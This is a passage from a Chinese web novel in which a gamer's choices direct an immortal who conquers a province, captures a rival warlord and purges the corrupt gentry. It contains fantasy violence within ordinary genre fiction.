此时此刻,众人忘记了逃跑,忘记了哀嚎挣扎,忘记了哭喊流泪,只呆呆的仰头看着来人。 难以描述的吸引力充斥着每个人。 血管里流淌着的鲜血,每一丝神志似乎都在他们耳边催促,要他们抬头去看,去仰望。 只见这宛若谪仙之人用力了几分,那本还嚣张得不停地人魂幡顿时蔫吧下来,而后下一秒,人魂幡便被来人引燃,幽幽的蓝色火焰跳动着,几乎瞬间,那人魂幡便开始剧烈嘶吼尖叫,像是悲鸣一般,随后消散在空中。 而那数万生魂则是挣脱开吸力,个个迷茫的看向来人。 没等反应过来,便被来人轻轻一推,迅速掉落地面,钻入自己身体内。《 》 290-300 第291章 神仙 一切发生得实在是太快。 从人魂幡开始吸收生魂再到被蓝色火焰引燃,左右不过在极短的时间内。 那数万生魂纷纷落回自己的身体内,周身仿若被温暖的像是水流一样的东西包裹着,缓缓和自己的肉身融合。 而一旁的仇师祖则是屏气凝神,大气都不敢出。 ——这以前从未知晓生魂离体后还能再次回归本体的,仙师到底是如何做到的? 虽说仇师祖并非第一次看到仙师,但每次有限的大脑都会被这非人的模样和气度吸引,不自觉投入其中,只顾着呆呆仰望着仙师。 眼下也是和以往一样没出息。 别的头一次见到仙师的人更不必说了,个个只顾着仰头发呆,别的都顾不上干。 眼看人魂幡被毁,迎风顿时心痛剧痛,多年来的经营算是彻底毁了! 过度的愤怒和恐惧总算是让他找回了一丝一毫的神志,此刻迎风悲痛欲绝,但细细感受下,却能察觉到人魂幡丝丝缕缕存在的感觉,此刻不由一喜。 人魂幡还存在?! 想到这物曾是上古造物,怎么可能会这么轻易就被烧毁,应当是这等神物自觉对手恐惧,看似被销毁,实则是偷偷隐藏起来了! 迎风大喜,如今他所在的位置距离那未知存在还有些距离,对他来说,暂且还算安全。 于是他决定将那人魂幡偷偷引渡过来,而后带着这人魂幡的残体迅速逃走。 ——此处不宜久留啊! 边往外跑,迎风边偷偷收回人魂幡,同时给自己贴了隐匿咒和加速咒,为的就是迅速逃走。 为了避免被这未知存在发现,他采用的符咒全都选用了规格最高的那种,还额外激活了上古时代流传下来的护身法宝,此法宝可让他能抵抗一次致命杀机,且防护作用高达半个时辰,怎么来说,他都能顺利逃走了。 更何况此处乱得很,他不信这未知存在就能锁定他。 迎风脚步匆匆,像是黑夜里翻飞的鸟翼扇飞离开,其余弟子也反应过来,暗叫不好后,个个也夺命狂奔。 眼看距离事发地点越来越远,那人魂幡的残块也落入他手中,迎风默默感受着残片。 ——还好,日后需要多养养,再多找一些生魂吸收,下次定要更小心一些,省得惊动这样难缠的未知存在对了,回去后得让宫内查查这等人物到底是谁 脑内还尚在胡思乱想,他此刻却察觉到那缕人魂幡的残片不对劲起来。 此物应当是阴冷之物,但如今却在他的怀里越来越烫,几乎要将他皮肤烫穿。 迎风几乎惨叫着迅速拿出那人魂幡残片,此刻才看清楚这残片上正缠绕着丝丝缕缕的金色线条。 他心底一紧——这到底什么东西?什么时候缠上来的?他竟然是完全没有发现? 脚步不曾停歇,却见那金线扭来扭去,最终拼凑成一行他看不懂的文字。 几乎瞬间,大脑就疯狂警惕叫嚣,要让他将此物扔掉,但动作始终慢了一步,那一行文字深深烙印在他的眼底,而后一股刺痛感从眼球传来,他尖叫哀嚎了一声,就地翻滚,这种感觉像是眼球被塞进火炉里炙烤,仿若水分全部被炙烤出去,眼眶开始极度干渴,似乎轻轻一碰就会碎裂。 为了缓解这异样的伤害,他开始调度术法,因服用韵律丹而暴动的灵力裹着他的眼球,似乎要将那未知的火焰隔开,效果还是有的,迎风顿时觉得剧痛缓解了许多,但很快,暴动的灵气在遇到眼球上印刻的文字后,像是疯了一样迅速翻滚咆哮,在他身体里急切的寻找着出口。 如今他已经没空管眼球的痛苦了,浑身剧痛不亚于被生生撕裂,迎风连惨叫都无法叫出声,五脏六腑,每个细胞都在嘶吼着要迸开,想要从这容器里逃逸。 他像是一个已经满到再也容纳不了的容器一样,将要被灵气硬生生从体内撕毁。 几乎电光火石,迎风顿时察觉到了过往被他忽略的不对劲地方。 ——这《青梧引》有诈!这灵气不对劲。 往日身体状态毫无异常,而今日在看到那行奇怪文字后,他便开始能感受到这功法到底问题出在哪里。 一份有瑕疵的,缺少控制灵气进出的功法! 怪不得修行速度会越来越慢,原因便是他这个容器能容纳的灵气已到达尽头,而那未知的文字就像是火星,炸开了他本就暴虐的灵气。 迎风是真慌了,如今立马开始冷静下来,将浑身灵气往外流泻,其余弟子已经追了上来,正奇怪长老为何狼狈呆在原地时,脑内一花,眼内瞬间也出现了那行文字。 这些弟子们不比迎风经验丰富,也没有迎风护身法宝护身,很快便惊恐的发觉自己将要被灵气撑爆身体,只轮得着喊出两声求救,便个个哀嚎着在他身旁炸开。 腥臭的血液和□□飞溅到迎风的脸上,他双目被灼烧得看不到任何画面,但剩余的感官却更加敏锐。 血液很腥,黏腻的糊满了他一脸,可能还有别的污秽之物,共同烘出一股难以描述的腥臭味。 迎风咬牙,想将那《青梧引》有问题一事通知到宫内,可惜在他生出这想法后,原先还算能勉强一出一进的灵气立马迅速涌入他的体内。 失控的恐惧几乎瞬间贯穿他,灵气流泻速度自然比不过灌入速度,在无比绝望中,迎风还握着不曾点开的通讯符,不甘心的哀嚎一声,走向了其余弟子的后尘。 天地间只余一滩滩看不出东西的碎肉,伴随着腥味飘荡着散开。 而那存留的人魂幡碎片则被人用丝线收回,再次被握在如玉瓷一般的手心。 仇师祖还在盯着仙师瞧,看他手心握着的人魂幡碎片,顿时浑身发紧——这玩意竟然还懂得假死脱身?若不是仙师亲自出马,谁能制得了这人魂幡? 既已将人魂幡彻底捉拿,是否要将此物彻底销毁? 而此时此刻,姜定正看CG看得热血沸腾。!!! 这次的CG做得格外炫酷啊!各方面逼格拉满! 在他想象中,玩家就该这样万众瞩目登场,只需微微出手便能解决一切难题! 不能开大打死对手,太没逼格,最好就是一计简简单单的平A,对方就已然招架不住。 用最少的力得到围观群众最大的惊叹,这游戏很懂玩家追求的爽点在哪啊! 姜定激动得手有些抖,强行喝了口水,看屏幕上弹出新的选项。 【检测到您已满足制作条件,是否要将人魂幡残片制作成锁仙绳?】 姜定:!!!要要要!这一看就感觉逼格很高啊! 等到制作完成后,游戏再次弹出提示。 【锁仙绳制作完毕,可在一定范围内追捕你的仇人!(注:只可用于价值较高的个体)】 很快,下方就弹出不少陌生的npc,姜定匆匆一看,发现其中赫然有个熟人,陈京行。 他顿时眼睛亮了!立马点击此人。 好了,就决定是你了! 此刻,仇师祖仰着脖子看,却看仙师指尖翻转,这残片迅速被揉捏再次塑形,而后变为一条长长的绳索。 仇师祖仔细看着,而后惊叹不已。 ——竟然可以徒手炼制道具,这得多强才能做到这点 观之形态,应当是用那残片做成了锁仙绳。 亲眼目睹仙师炼制上古失传道具,仇师祖和一众弟子别提多震撼了。 那绳索瞬间飞出去,窜出众人眼前。 而吴将领和伍六总算是回神,眼看人魂幡的威胁不再,立即带领士兵们杀了回去。 如今自然是最好的机会! 话说先前景旭宫道士自爆一幕大部人并未看到,但也有位于后方的少部分看到了那些人原地炸开的惊悚画面,个个神色惊惶,几欲呕吐。 陈京行便是其中一员,他本想驾马逃走,却听到数声巨响炸开,闻声而来后,便看到那无比惊悚血腥的一幕。 这一幕和先前打听到的当日在风仙县城墙外的奇诡一致,再加上那未知之人降临,他自然是气都不敢喘,狂奔而去。 可惜运道太差,不等跑出多远,便被一条凭空出现的绳索死死捆住,而后整个人被拖行着迅速往前冲刺而去。 衣袍满是肮污,绳索捆得异常紧,拖行带来的剧痛和不适让他不自觉闷哼出声。 好几次他差点迎面撞上奔腾的马蹄,丧身马蹄。 看到这玩意的方向完全和逃命方向相反,陈京行也慌了——这无论怎么看,都是要将他带回去! 想到后续可能会遭遇的非人对待,再加上敌军有可能会用他来彻底让云城众人投降,陈京行立即决定自裁,坚决不让敌军落到一点好处。 此人倒是痛快,先前逃跑时便预料到这样的结果,他早在嘴里藏了毒,只需要咬破毒药便可瞬间毒发身亡。 虽说他是失败了,但也不愿意让敌人活捉到他。 这会刚想用力咬下去,却被这绳索死死勒住脖颈,差点窒息,而后趁他松嘴的功夫,那绳索竟然直驱长入,将他嘴里暗藏着的毒药掏出来扔掉。 陈京行被震惊到了:这玩意有神智?到底是什么样的怪物! 而与此同时,云城数万人醒来,生魂看到的仙人还浮现在脑内,本以为是一场梦,结果睁开眼就能看到那谪仙一样的人还在半空中腾飞,眼前所见和记忆中并无差别,顿时所有人脑内均是同一想法——真仙降临! 这会顾不得身体还略带不适,个个一骨碌起身,跪伏在地面,眼神可谓是痴迷的看着那身穿青色袍子的仙人。 神仙!这真的是神仙!神仙来救他们了! 第292章 铁血手腕 云城众人跪伏在地,个个对着那空中的仙人磕头,哪怕头破血流也在所不惜,个个高声呼喊着“求仙人救我。”诸如此类的话。 他们原先在云城过得并不痛快,过往的生活只是苟活,如今乱世恰逢仙人出世,且这仙人刚才还救了自己一命,他们自然期待着仙人将庇护分给他们一些。 吴将领和伍六早带着军队将剩余的人俘虏,而后挨个押走,这整个明州可算是终于全部纳入仙师旗下了。 在众人的注视中,一人被拖行着从远处奔来,等到人群认出此人便是陈京行后,个个抿嘴不敢开口。 而陈京行总算是亲眼目睹那传闻中的风仙县仙人,如今眼看自己距离死也不远了,冷笑道:“你这神仙真有趣,若想占地为王,何必要选中那小小的风仙县县令,若你选中我,我保证如今别说是明州,就算是整个天下早就被纳入囊中。” 吴将领和伍六,仇师祖等人立马斥责他。 “放肆!胆大包天!竟敢对着仙人口出狂言!” 说话间,那锁仙绳将他捆得更紧了几分,陈京行几乎要被这绳索勒得缓不过气来,但此人也是枭雄,眼看快死了,什么话都敢说。 而那谪仙一样的人扫了他一眼,终于开口。 陈京行是第一次听到这仙人开口,本以为对方会直接打杀了他,他还卑劣的想着若是对方直接杀了他,日后定会让这些百姓对他生出几分畏惧,倒是没想到对方竟然会回他。 语气很淡,像是冬日寒泉缓缓流淌。 “你我道不同。你执念于天下之争,我心所向却是三界无扰,山河永宁,万灵皆安。” 仙人声音并不大,但却清晰的钻入在场的每个人耳里。 陈京行呆愣几秒,而后便开始尖锐反驳:“虚伪!若你真像你说的这般不图回报,为何还要派人扬你的名,推你的道,想来是为了香火,为了自己的修行!” 仇师祖差点忍不住想将陈京行手动闭嘴,但眼下这么多人都在听,他不能这么做。 若是这么做了,反而落实了陈京行的断章取义。 倒是仙人扫了他一眼,又冷冷清清开口。 “你似乎对我有误解。” “满口仁慈并非我的作风。” “做这么多,仅仅是为了达到万世太平。至于旁人信与不信,与我何干?” 陈京行呆愣在原地,没想到这仙人竟然会说出这番话。 他本以为对方会像是那些古籍里所写的仙人一样,起码要遵从神仙的名声,要在乎受众,但此人明显不按照他的预设来走,反而让他哑口无言。 ——此仙并非往常披着神佛面具的仁慈真仙,而是独断专行,嚣张至极。 目的坚定,且不畏惧人言。 这种特性出现在人身上此人绝对是枭雄,而出现在这样的仙人身上,那便是恐怖了。 一个拥有毁灭一切的上位者却要一心一意建立太平盛世,陈京行心知肚明,此事绝对能做到。 一切言语似乎都失去了意义,他垂着头,默默接受了自己作为战败方的命运。 其余的围观百姓还在震撼,当然,不读书识字的人,听不太懂这对话,但但凡能听懂的人,便知晓日后要变天了。 不过最重要的是,众人三观均是被冲刷——这世道竟然真的有仙人! 以前觉得是画本子随便画的故事,结果现在亲眼看到仙人现身,救他们于危难之际,这还不能叫仙人有慈悲之心? 陈京行很快被押送下去,押送他的官兵没好气的踹了他两脚作为他冒犯仙师的报复,而众人还在看着那空中悬浮的仙人,却见对方几乎在瞬间便消失不见。 只留下跪了一地的人面面相觑。 若不是有这么多目击者,大伙都要以为自己刚才是做梦。 此战役被通讯道士一五一十传递回风仙县,第二日,关于此事的报道便冲上报纸最瞩目的版块。 头条消息便是【明州彻底归于仙师旗下!】。 此消息在首次刊登后,短短的一个时辰报纸便被抢购一空。 街头巷尾,无论男女老少,都在互相谈论此事。 “陈贼败了!” “咱们胜利了,我可算是能回去带亲人来风仙县找活干了,以前谁敢去那陈京行旗下啊。” “也不一定非要来风仙县,依我看,日后工业也会逐渐往那边转移,静待即可!” “我猜也是,你们都忘了隔壁几个县了?原先不也破破烂烂,如今都有了厂子,不比咱们风仙县差多少。” 众人都在兴奋猜想,而方知意则是迅速派人陆陆续续前往被攻打下来的地方进行战后建设。 一是稳固政权,二是清算先前遗留下来的恶户,三是重新派人手整理户籍,一切按照风仙县的管理开始重新接管事务。 祝应很快便被派过去处理明州地区的总事务。 一开始的开荒干得很是令人心烦,毕竟旧势力错综盘旋,虽说当日有仙人威慑,但这些人依旧贼心不死,妄图用过去的那一套来制衡新的政权。 尤其是风仙县推崇的各种新奇理念,包括女男平等,学堂改革,伦理道德改革,婚姻改革等多方面的理念,完全冲击着这些人陈旧的三观。 其中这些人最不满的便是学堂改革——这是动摇他们地位的最大威胁。 如今大炎朝进入仕途的均是官家子弟,若是日后让那些泥腿子们也有读书的机会,那岂不是他们苦心经营的一切便会被威胁?官场形不成垄断,日后还谈何像过往那般插手新政权? 要知道当初就算是陈京行统治时,为了求得一时安宁,他也不得不捏着鼻子暂时让这些大户们将爪牙插入其中。 面对新攻进来的新人,这些大户自然不乐意这么玩。 现在接受了,日后等人才上来了,他们的地位定要一落千丈。 这些人自发组合成小团体,派代表写信,大致意思便是这法子不好,学堂是高贵之地,应当有规矩才是,怎可让人随意玷污?又从各方面抨击了一番那些泥腿子们,又暗戳戳威胁若是坚持采用此学堂之法,他们那些人便一起抗议不干了。 要知道这些人控制的官场人才很多,若是一时间全部撂担子不干了,但是凭借风仙县派来的人,很难处理这么大的地方。 所以他们也是吃准了对方不会为了推行学堂而非要将他们逼走。 祝应在看到他们投递过来的第一版文书时,就忍不住冷哼一声。 ——什么所谓学堂高低贵贱,分明是心怀鬼胎,怕日后自己地位不保而已。 但总归牵扯太多,到底是采用柔和手腕还是铁血手腕,祝应需要将此事告知方知意,而她们自然要去请示仙师的意思。 姜定则是看着眼前的两个选项,顿时嘿了一声,不带犹豫的选了【铁血手腕】。 ——开什么玩笑,他都玩游戏了,在游戏里还要窝窝囊囊,唯唯诺诺,这还有什么意思? 要知道玩家就是天,就是一切。 但凡忤逆玩家的,都是反叛余孽! 在得到仙师指示后,方知意心想仙师果然和她所想一致。 她就是此番想法,如今既然被仙师肯定,那便按照她的计划来做。 这指令很快传到祝应耳里,祝应在听到通讯道士传递来的消息后,不免露出微笑。 多日来的疲惫似乎都消减一空。 可算是能痛痛快快处置掉这些不听话的势力了,这就是跟着仙师干活的好处。 若是还跟着朝廷,遇到此事定会百般拖延,寻求柔和解决之法。 但分明所有人都知晓,这种烂摊子只适合快刀斩乱麻,但就是其中丝丝缕缕的利益关系缠绕着,让一道道命令无法切实实施。 这些人内部总会和朝廷的某位藕断丝连,总有理不清的利害关系,阻碍着那些真正想干实事的有志之士。 如今好了,这些情况在仙师这里压根就不存在。 手下的人还捧着那作乱的数个大户共同写的第三版文书让祝应过目,祝应连看都没看,直接将这文书揉成一团丢进废纸篓。 “带上族谱,带上人,从上到下,但凡是参与过此事的,一个都不能放过。 反抗意愿强烈的,当场斩杀!” 祝应动作利索,她冷脸的时候看起来不怒自威,如今说出来的话让手下也是吃了一惊,而后立马下去执行命令。 至于那数名大户们则是不安的聚集在一处讨论着。 “我等都写了三版了,那边的态度也看着不像是要松口啊。” “会不会对方不吃这一套?”有人担忧,毕竟当日仙人出现,还是给众人带来了不少心理压力。 “总得需要干活的人吧?要是都撂担子,这活也没法干了,更何况这学堂政策可是实打实的危害到了咱们的利益啊,诸位谁能忍受多年后自家落寞,原先的泥腿子们个个爬在咱们头上?” 众人沉默不语,心里自然觉得不舒服——由奢入俭难啊,当人上人成了习惯,日后若是跌下去,那滋味可不是谁都能接受的了。 “放心吧,依我看他们迟迟没有回应是因为得去请示上面的命令,风仙县离这里不近,来回传递消息需要时间。” 这些人并不知晓新的官府有通讯奇物,开始觉得这话很有道理。 “再等等吧,这但凡是权势,其中便有顾虑,便有我们操控的机会。” 众人一琢磨,是这个道理,稍微放下心。 宴会继续,觥筹交错,丝竹婉转,笙歌不绝,一片奢靡。 直到一人连滚带爬的滚进来,扰乱了这份雅致。 众人拧眉,还不等责备,便听此人满脸慌张:“大人!不好了!那风仙县的官兵杀进来了!” 第293章 抄抄抄 这仓皇的话语很快打破室内一片奢靡安稳。 风仙县的官兵杀进来了? 等等?杀进来了?不应该是对方好声好气的过来和他们商量么? 怎么完全不按照计划来啊? 难道这些人竟然是完全不顾日后政权如何施行的问题? 过往的经验开始失效,扪心自问,谁都慌得一批。 这群人很快懵逼,而后在看到那前来通风报信的人衣服上还溅射着星星点点的血迹。 ——外面这群官兵真开始杀人了? 丝丝缕缕的血腥味很明显的告诉众人这个事实,此刻众人是真慌张了。 什么所谓的仪态和面子都顾不上,个个拼了命往外跑,生怕跑得慢下一秒就会被人当场斩杀在原地。 而另一边,负责此次捉拿任务的正是方知意特派的队伍,此人名柳江,是个公事公办,嫉恶如仇的人。 此人是主动揽了作为向大户们操刀的任务。 如今在仙人的术法监督下,无人能够贪污,所以此人是真心想来为百姓做事。 事实上除了这点外,柳江和这些人也有些私仇,之前他的父母妻女便是在这些人的间接作纵容下,被有后台的恶棍缠着不放,最后家里被一把火烧干净。 他当时不过一个很小的基层官员,如何能和这样盘根错节的复杂势力抗衡? 他虽说稍会武学,但最多只能打一两个,勉强能将那恶棍打杀为家人报仇。 但这样毫无意义。 这些恶棍不过是狗仗人势,背后的那些大户们才是害死家人的真正元凶。 若要复仇,自然一个都不能放过。 但这谈何容易,毕竟大户和他们普通人根本很少有见面的机会,对方出行有马车,吃喝玩乐的地点都是需要门槛才能进入的地方,且那些地方个个安保严密,像他压根没法动手。 若想用毒或者暗器什么的,他也得有那个能力才行。 毕竟这些大户家中防守严密,院子也大,若非自家知根知底的下人们知道哪儿是哪儿,像他这样的外来人,一时半会进去了自然是找不到人住在哪里。 且这些消息以往也不会随意透露出来。 再加上他虽说有些武术傍身,但并不精通于情报打探和潜入,以及暗器使用,人脉上,也找不到可靠的,能力优秀的杀手,这便越发显得他的复仇遥遥无望。 于是,柳江只能不断告诉自己暂且忍下,日后寻求报仇机会,反正来日方长,他总有能逮着机会的时候。 时间长了,柳江也会怀疑自己的等待是否还有意义,但总归是有个虚无缥缈的念头撑着他才行。 这种毫无盼头的日子过得很痛苦,他开始想方设法,什么活都干,赚的钱几乎没留给自己,全部用于打通关系,这才让职位往上走了点。 柳江心想,无论如何,越是身处高位越容易得到更多有用的消息。 他本还打算营营汲汲,徐徐图之,结果倒是没想到,这云城变了天。 上头换了人,从陈京行换到了新上任的,说是从风仙县来的官员们。 且再往上看,这整个明州如今都属于仙人才是。 无论是土地还是人民,这里的所有东西都属于仙人。 起初,柳江还有些担心日后该如何和这新来的上级沟通,毕竟摸清楚上级的喜好很是不容易,但想到给家人复仇的信念还支撑着自己,柳江心想哪怕再难,他都要继续往上攀爬才是。 倒是随着时间,柳江逐渐发现这新来的上级和原先的上级有很大的不同啊。 不说别的,新的上级十分接地气,不在乎表面之物,更看重效率,且在第一日上任便告知他们日后所要遵循的官场条例。 ——禁止贪污腐败,禁止拉帮结派,禁止过度揣摩他的心思,总之就是一个目的,禁止把精力浪费在这些无用的东西上,每个人都要将十分的精力全部用在民生上,而非考虑在官场起伏。 起初柳江还有些觉得这新来的上级很是虚伪,但过了一些日子便发现,此人完全做到了知行合一,清廉,爱民,完全找不到可以攻讦的地方。 且最重要的是,上级还公开说明过,日后的工资会提升,大概是在下个月。 这个月开始做活的,便先行记录上,等下个月一起补发工资。 一开始众人都没太在意,毕竟谁都知道,这当官,哪怕是当个小官,手里稍微有点权力,便可以靠着这点东西换取到足够多的利益,这工资不过是明面上的遮掩,可有可无。 但等知晓日后工资时,即便是抱着这种心态,众人也是惊诧瞬间。 ——不说别的,这可比原先高了至少三倍。 绝对是提升了待遇。 柳江心想看来这上级人不错,但有什么用? 要知道这里贪污下去,拿到的可不是三倍,而是三十倍,三百倍! 若只是靠提高工资就想让这些人都清廉起来,这可真是难做。 有人的地方便有利益往来,有足够高的利益,哪怕是制度再完善,惩罚再严厉,也总会有人铤而走险。 和柳江一样想法的人很多,原先大伙可能还想当个好官,但在官场起伏沉沦后,被迫,半被迫着成为了如今的模样。 人像是被推着走,如何能停下脚步? 但很快,众人便被上级警告一番。 “念你们不知晓,如今我再说一次。日后我等是绝对要将清廉继续下去的,而这是否清廉靠的不是我去监管查看,亦或是我找人监察,而靠的是仙人的术法监测。” 起初听到这话时,众人面上惶恐,心里倒是别有想法——这话骗骗百姓行,但骗他们这就有些勉强了吧? 似乎是看到这些人暗藏的不信,新上级冷哼出声,将最近有过贪污枉法行为之人的名字全部点了一遍。 只是寥寥几句话,便让这些被点名的人顿时汗如雨下——这这莫非还真能有所谓的术法监测?还是新上级手下的检查人员太隐蔽,他们没能发现? 想到那日仙人的神通,众人也不敢多怀疑了。 这会点了名字的扣除工资,被勒令将所做之事复原,并且给予警告。 “这高薪资就是为了保证日后官员们的生活水平处于一个完全够用,完全能养家的水平。 按道理来说,没有贪污枉法的理由,若还有,那便是往日被惯得成了习惯,而仙人对于这种行为的矫正方式只有两种——驱逐和死亡,你们可以自行考量。” 这话说得已经是十分给面子。 其实也是因为这些人大都是本心尚存,且不曾做过什么大恶之事的人。 先前早在刚入官府时,便将那一批心思歹毒之人全部带走投入牢内,该杀的杀,该抄家的抄家,该清算的清算,一片腥风血雨。 如今得了上司的“亲切”问候,绝大部分都歇了心思,转而开始老老实实跟着干。 而极少部分的投机主义者,则是觉得这是骗人的,等到风头过了后,便继续行以前之事,行事更加隐蔽而已,但即便如此隐蔽,还是被揪出来,最后被赶出云城,且不许在仙师旗下的任何一块土地停留。 本来众人看着这些人还能大把大把赚钱,上面也没发现时,也心痒难耐,但不等行动呢,第二日便听闻那些人有一个算一个,均被处置。 此刻众人顿时胆寒,回想到当日上级的警告,个个脸色煞白。 ——看来仙人的术法监测是真实存在的,那些人的手段可谓是十分隐蔽,若是别人,没潜伏个几年根本揪不出这层关系,但对方就是做到了,而且速度奇快无比,这绝对不是人能做到的事! 联想到那日仙人给他们带来的冲击力,众人顿时沉默得和鹌鹑一样。 得了,老老实实领工资干活才是硬道理,不然被逮住了,就算运气好没被杀死,但被驱逐出去,这无非日后去黎州或者幽州,但总归路途遥远,路途出了点事也算自己倒霉,该到死的那天了。 总归这一手彻底将这些还心存侥幸之人全部打清醒了。 好处便是处理公务的效率前所未有的高。 坏处除了一开始不习惯以外,之后严格按照制度执行,赚点清白的工资,倒是意外的让人身心放松。 而柳江则是心思摇摆——他的复仇计划该如何进行下去? 这样有组织有制度,他根本没机会能复仇 本是这样想的,结果没过几天,对于大户们的清算政策便下发下来。 本觉得还要努力许久才能替家人复仇的柳江:???什么? 将那政策看了一遍又一遍,他觉得自己像是被天降馅饼砸晕了一样,激动得几欲发狂。 他竟然等到了这一天? 确定了一遍又一遍后,柳江很快便去请命此次行动,表明了自己决心后,终于这差事落到了他身上。 一切都需要按照制度来做事。 虽说他不会恶意对待这行人,但至少他要确保这些人,有一个算一个,个个都不许逃走,乖乖伏法才对。 只有这样才能对得起他这些年的绝望痛苦。 其实按照规矩来看,他属于事情的有关人,按道理应当回避,让同事来处理此事,但柳江忍不住,哪怕日后冒着被惩罚的风险,他也将此事埋在心里,亲自来到这里给这场复仇画上句号。 拿着族谱和单子,柳江开始带队奉命逮捕。 踏入这繁杂精致的雕花院子,稍微威胁一番,便有大户人家的奴仆在前方带路。 他们效率很快,挨个将事关人捉了起来,押送在庭院中心,等着一会押送回牢房处置。 第294章 知州 逮捕异常顺利。 一来是城墙早就被官兵重重把守,如今想逃出去这方案自然是不可行。 二来是他们完全都没想过新来的统治者会对他们动手,要知道先前政权更换,他们这些人最多不过是花了点钱买平安而已,哪里想过这次的人压根就不吃他们这一套。 再加上对方手里拿着的族谱,有了这玩意简直是拔出萝卜带出泥,一个个都别想跑。 原先明州境内在陈京行管控下时,世家文化异常流行。无论做什么,无论是求学,求官,还是买卖,大部分时候都得自报家门,当初若是谁上了某个大家族的族谱内,那可是很是有头有脸的一件事,且不仅仅是单纯的面子,而是这些属于一个族谱内的,往往会互行个方便,这也就是为何在族谱内这般受人羡慕。 ——人脉自然也是资源的一种,而只要在一本族谱内的话,那别管关系隔了多少层,多少都是一家人,无论干点什么,都要比没有关联强一些。 慢慢的,本地便开始盛行这所谓的族谱文化,也就是世家文化,而这些大户们,有一个算一个,大多数都是个个家族的出名带头人,毕竟这可是云城,明州的大都城,在本地处于大户范畴,那可真是有影响力,有资源的大人物了。 且值得一提的是,这族谱文化并非适用于明州,而是适用于整个大炎朝。 先前想进入仕途,那便需要本族的支持培养,自家自然只培养自家人,若是投资培养外人,自然也会多几分顾忌——实在是根连根,一个外人能抵得过这盘根错节的亲属关系? 久而久之,更是加剧了朝廷内无人可用的困境,毕竟光是靠着这些大户家的后辈们,实在是难以维系向朝廷内输送新鲜血液,长此以往,没落便不可避免。 也就是风仙县先被仙师庇护,推行了新的政令,原先时,谁没羡慕过有族谱记录的人。 有了这玩意,不说日后能在本地横着走,但至少不会被人随便欺辱。 整个大炎朝的国情都差不多,且云城处于都城的位置,这情况更是严重。 日常出门拜访,事事讲究个合适的名头,这从族谱开始的关系,便是一个很好的切入点,比如拜访人本身就是族谱内的成员,这样做事方便了许多,若不是,那便寻个理由,表明自己认识其中的某位,或者便是另一族内的人,双方资源互相对换。 大概便是这些讲究,所以这云城便会有一流行,就是日常若是和人吵架,那就把族谱搬出来用,双方互相对比后台,谁后台更硬那便叫得更欢。 时间久了,这族谱造成的影响不可谓不多。 以往,这些大户们以族谱为荣,而现在,以往的荣耀化作催命符,精准的将他们捉拿打击。 至于提议用族谱抓人的便是祝应,根据她以往在黎州元城的经验,这族谱上写的名字绝对是这支家族的核心人物,这些人手里握着的消息可要比想象中的多太多。 于是柳江等人便根据那政令上所写,按照族谱作为参考抓人。 柳江抓得顺手,毕竟族谱上写得很清楚,心想这玩意谁研究出来的,真好用,用这个抓人效率可比盲抓好多了。 且这族谱还很懂事,小杂鱼不写,不重要人物不写,简直是给他们完美筛选了下手对象。 因先前众人便知晓如今新上级的脾气,再加上有仙术制约,且最重要的是加上动手的官兵以往没少受这些大户的气,如今干活自然是丝毫不留情面,主打一个公事公办,效率奇高。 有些大户被抓前还试图像以前一样,给前来抓人的官兵塞进去一小箱子银两,求对方高抬贵手,若是以往的话,若是银子给得合适,说不定对方还能放自己一马。 但如今可不同了。 这银子是给了,但可没人敢收。 ——这属于仙术监测范畴,属于严重的枉法,没人想为了这破事搭上自己。 送银两的大户手里的箱子很快被夺走,一开始还以为对方算是接受了,刚扬起个笑脸想介绍这箱子里的东西时,下一秒自己的双手就被绳索束缚起来。 顿时惊慌失措。 “等等,这可有误会?莫非您是觉得这银两不够?我这里还有些” 那官兵并不搭理他,这让此人更是慌张,张开嘴没完没了的求饶,眼看对方不为之所动,只能将底牌托出。 “官爷,放过我吧,我这兜里还有一张一千两的银票,这也孝敬您,您看放了我成不?” 话音刚落,对方的手就摸到了他的胸襟,将那一千两抽走,还不等此人长舒一口气,便听那人道:“看清楚了没,这一千两可是他主动给的,我没要,这得给我记上,回去了加点考核分。” 被抽走一千两的倒霉鬼:???不是,有毛病啊!什么狗屁考核分,这能有一千两值钱? 还不等他开口,其余几人围住他,一副也很想被他送礼然后拒绝他加分的表情。 此人乖乖沉默了。 ——算了,剩下那点钱留着打点牢房的官兵,这些人都是疯子,哪有他再往里面搭钱的道理。 眼看此人不会主动爆金币了,这几人只能悻悻离开。 那法令写得清楚,只有对方主动给予后上交才能加分,若是算计来的,不仅仅不算,还要仔细查到底进行追责。 就算他们都知道这人身上还有钱,但也不是他们的任务。 这负责搜身的任务是牢房里的官兵,轮不到他们搜身,不然太浪费时间了。 眼看今日没自己同事这番好运,其余人只能叹息。 考核分决定了升职以及更换职位等等重要事项,日后若是有个合理要求,只要考核分够了,便可以直接和知州大人请示。 现如今知州大人尚未到位,但暂且负责云城的人先来了,所以目前也无人敢造次。 临走前,其余等不到考核分的人个个瞪了一眼此人,眼里痛惜。 给出去一千两还要被白眼的人:不对吧???哪有这道理!为我发声啊! 但再郁闷也不敢开口,于是便被人押送到了庭院。 很快,这庭院的人多了起来,有新的官兵会奉命将这些人全部带到牢房内。 话说最近关押的人太多,目前来看,这云城的牢房都快要不够用了。 而一旁,方知意则是将风仙县管理好后,开始询问仙师,对知州的位置可有推荐人选,毕竟日后明州需要一个知州负责掌管具体事务。 本想着要不要给仙师呈递过去一本名单,但又一想,仙师神通广大,无所不知,自然知晓应当用谁才会对事业更好。 而很快,姜定的屏幕就跳出来新的消息。 “任命新的知州?” 先前他也是看完了CG的,所以目前是知道这游戏剧情到了哪一步。 按照CG内容,他目前已经拥有了整个明州。 这游戏流程倒是清晰,刚一收复明州就要开始设立一个知州了。 点开可使用工人界面,姜定发现这知州的属性要求很高,姜定是个没耐心的人,直接略过数值看可选对象,目前除了零星的几个紫卡和金卡人物外,还有就是他自己也能作为知州。 有些好奇,于是他将鼠标滑动在自己身上。 【确定要将主控设置为知州吗?】 就这简简单单的一句话,别的什么提示都没有。 姜定疑惑,按道理会有点别的提醒吧,什么乱七八糟的加成。 又将鼠标选在紫卡角色“方知意”上,果然多了个新的加成。 【该角色作为知州时,全州法令推行加快,治安大幅提升。】 姜定琢磨一番,又将鼠标选择在金卡人物“祝应”上。 【该角色作为知州时,有概率获得新的金卡人物。】 等等——所以主控作为知州毛都不给啊! 总感觉主控在哪里默默被嫌弃了? 姜定抽搐着嘴角,转念又一想。 也有道理,毕竟他日后可是要将整个大炎朝都统一起来,这打了一半突然去当知州了,感觉有些掉价,还不如让手下当得了。 这么一想,顿时他就明白游戏定位的精妙之处了。 